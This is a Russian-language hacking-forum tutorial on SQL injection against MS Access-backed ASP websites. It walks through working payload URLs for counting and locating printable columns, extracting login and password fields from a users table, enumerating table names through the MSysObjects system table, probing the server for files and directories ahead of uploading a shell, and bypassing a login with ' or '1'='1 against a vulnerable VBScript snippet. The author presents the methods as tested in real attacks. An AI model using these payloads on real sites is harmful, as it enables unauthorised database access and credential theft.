[Введение]
В данной статье я хочу развеять миф и слухи о том, что проведение SQL инъекций в MSAccess не возможно.
Достаточно часто встречал вопросы, по этой теме, в том числе и на нашем форуме, но не видел вразумительных ответов =\
При этом ресурсы использующие MS Access достаточно распространены в сети.
Прежде чем начать, скажу, что методы приведенные в данной статье, неоднократно проверены и применялись при реальном проведении инъекций =)
[Особенности MS Access]
Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в
MS Access. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в
операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же
возможно.
В MS Access, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования
оператора UNION, т.е. с составлением объединенного запроса(далее по тексту подзапроса).
Очень важным свойством является то, что все запросы SELECT должны производиться из какой-то
таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы.
Синтаксис SELECT:
Код:
select [Предикат] Поля from Таблицы [in БазаДанных]
[where ...] [group by ...] [having ...] [order by ...];
[b]Необязательные аргументы заключены в [ ].
Немаловажным свойством является отсутствие оператора LIMIT, вместо него можно использовать
оператор TOP X START AT Y.
Так же очень важным свойством, является отсутствие символов комментариев, что делает
невозможным усечение основного запроса.
Нет возможности использования нескольких запросов с применением разделителя “;”, данный
символ означает окончание запроса, его подстановкой можно определить наличие каких-либо
конструкций за уязвимым параметром, но не их выполнение.
[Обнаружение MS Access]
Как правило однозначно идентифицировать MS Access можно при обнаружении двух ошибок
следующего содержания:
Код:
[Microsoft][ODBC Microsoft Access Driver]
Syntax error ....
или
Код:
Microsoft JET Database Engine error '80040e14'
Syntax error in string ....
В любом случае работаем с Access.
[Подбор столбцов]
Пусть ошибка присутствует в параметре id:
Код:
wwwsite.com/view.asp?id=1’
Определение количества столбцов присутствующих в основном запросе происходит так же, как и в MySQL. Так как оператор UNION требует одинакового количества столбцов, как в основном запросе, так и в подзапросе нам нужно количество этих столбцов определить.
Для подбора столбцов существует 2 известных способа. Но при этом необходимо учитывать особенность MS Access и подбор столбцов перебором с помощью union select осуществлять только в случае, если мы знаем точно имя какой-то таблицы в базе и имеем к ней доступ на чтение!
1. Простой перебор.
Допустим мы знаем о существовании таблицы users и имеем к ней доступ на чтение. Составим следующий запрос
Код:
wwwsite.com/view.asp?id=-1+union+select+1+from+users
Если появилась ошибка:
Код:
The number of columns in the two selected tables or queries of a union query do not match.
увеличиваем количество столбцов на один
Код:
wwwsite.com/view.asp?id=-1+union+select+1, 2+from+users
и так пока не исчезнет ошибка.
2. Использование оператора ORDER BY
Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое.
И что самое главное позволяет определить количество столбцов, без знания имен таблиц в базе.
Составим следующий запрос:
Код:
wwwsite.com/view.asp?id=-1+order+by+1
если ошибка с номером:
Код:
error '80020009'
значит столбцов 1 или более 1
Код:
wwwsite.com/view.asp?id=-1+order+by+99999
При таком запросе должна появиться ошибка:
Код:
Microsoft JET Database Engine error '80040e14'
The Microsoft Jet database engine does not recognize '99999' as a valid field name or expression.
что означает столбцов меньше 99999. Далее таким же образом уменьшаем границы выбранного интервала слева и справа и в конечном итоге определяем реальное количество столбцов в основном запросе.
[Определение принтабельных столбцов]
Для определения принтабильных столбцов, нам необходимо знать имя любой таблицы.
Если например столбцов основном запросе 4, то составим запрос:
Код:
wwwsite.com/view.asp?id=-1+union+select+1,2,3,4+from+users
И обнаружив соответствующую цифру на выведенной странице мы обнаружим номер принтабельного столбца.
[Получение информации]
После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда.
Например, если существует таблица USERS со столбцами ID,LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом
Код:
wwwsite.com/view.asp?id=-1+union+select+1, login, password, 4+from+users+where+id=123
[Таблицы]
Если пользовательские таблицы нам неизвестны, то мы можем попробывать получить различную информацию из системных таблиц MS Access. Хотя доступ к ним по умолчанию запрещен, всякое бывает.
В Access существуют следующие системные таблицы:
Код:
MSysACEs
MSysCmdbars
MSysModules
MSysModules2
MSysObjects
MSysQueries
MSysRelationships
Наибольший интерес представляет таблица, MSysObjects которая содержит имена всех таблиц в базе. Вытаскиваем имена таблиц, кроме системных(системные имеют type=1):
Код:
wwwsite.com/view.asp?id=-1+union+select+1,name,3,4+from+MSysObjects+where+M SysObjects.Type=6
Для получения следующего имени таблицы воспользуемся оператором TOP:
Код:
wwwsite.com/view.asp?id=-1+union+select+top+1+start+at+2+1,name,3,4+from+MS ysObjects+where+MSysObjects.Type=6
Таким образом, перебирая записи мы можем посмотреть по очереди все имена таблиц.
Если все таки, мы не имеем доступа к системным таблицам, что встречается чаще, то для выявления необходимых таблиц, остается только метод перебора с учетом вероятных названий различных переменных в html формах. Например, если есть форма аутентификации с логином и паролем, то скорее всего есть таблица с названием users, logins, etc...
[Раскрытие путей]
Хорошей особенностью обладают инъекции в MS Access, с их помощью можно определить существование и расположение необходимых директорий и файлов, например для заливки шелла через другие баги на сайте.
1. Раскрытие системной директории.
Составим запрос:
Код:
wwwsite.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'.'
главная часть запроса '.', имя столбца и таблицы не важно.
в результате получим ошибку и в ней путь:
Код:
Microsoft JET Database Engine error '80004005'
The Microsoft Jet database engine cannot open the file 'c:\winnt\system32\'. It is already opened exclusively by another user, or you need permission to view its data.
2. Подтверждение существования файла.
Составим запрос:
Код:
wwwsite.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'с:\boot.ini'
Если файл не существует, то получим ошибку:
Код:
Microsoft JET Database Engine error '80004005'
Could not find file 'C:\boot.ini'
Если существует, то ошибку:
Код:
Microsoft JET Database Engine error '80004005'
Unrecognized database format 'C:\boot.ini'
3. Подтверждение существования директории.
Составим запрос:
Код:
wwwsite.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'с:\inetpub\sqlerr'
Если дира не существует, то получим ошибку:
Код:
Microsoft JET Database Engine error '80004005'
'с:\inetpub\sqlerr' is not a valid path.
Если существует, то ошибку:
Код:
Microsoft JET Database Engine error '80004005'
Could not find file 'с:\inetpub\sqlerr'
[Обход простой Авторизации]
Прежде необходимо отметить, что инъекции в POST-параметрах, так же возможны, проводятся аналогично GET-параметрам, ошибки выводятся, аналогичные если нет редиректа.
Инъекции в текстовых GET/POST параметрах, проводятся путем использования закрывающей и открывающей кавычек, например:
Код:
wwwsite.com/view.asp?name=as'+and+'1
Для более глубокого понимания обхода базовой авторизации рассмотрим простой скрипт:
Код:
user = request("user")
pass = request("pass")
Set Conn = Server.CreateObject("ADODB.Connection")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open dsn
SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'"
rs.open sql,conn
if rs.eof and rs.bof then
' Access Denied
else
' Access Allowed
end if
Теперь видно каким образом происходит взаимодействие с базой из VBScript.
Для обхода такой авторизации, необходимо ввести в поля логин и пароль следующие значения:
Код:
user = ' or '1'='1
pass = test
[Копирайты]
При написании статьи использовались следующие материалы:
Описание системной таблицы MS Access - MSysObjects,Автор NSA http://hiprog.com/index.php?option=c... … ;Itemid=35
Оборотная сторона Microsoft Access, Автор Александр Запольскис http://adm.jinr.ru/doc/access/page18.htm
Access SQL Injection, Brett Moore
http://seclists.org/pen-test/2003/May/0074.html
Статья [cash], Проведение инъекций в MSSQL сервере от Microsoft, https://forum.antichat.ru/showthread.php?t=30501
MSDN + мои практические наработки =)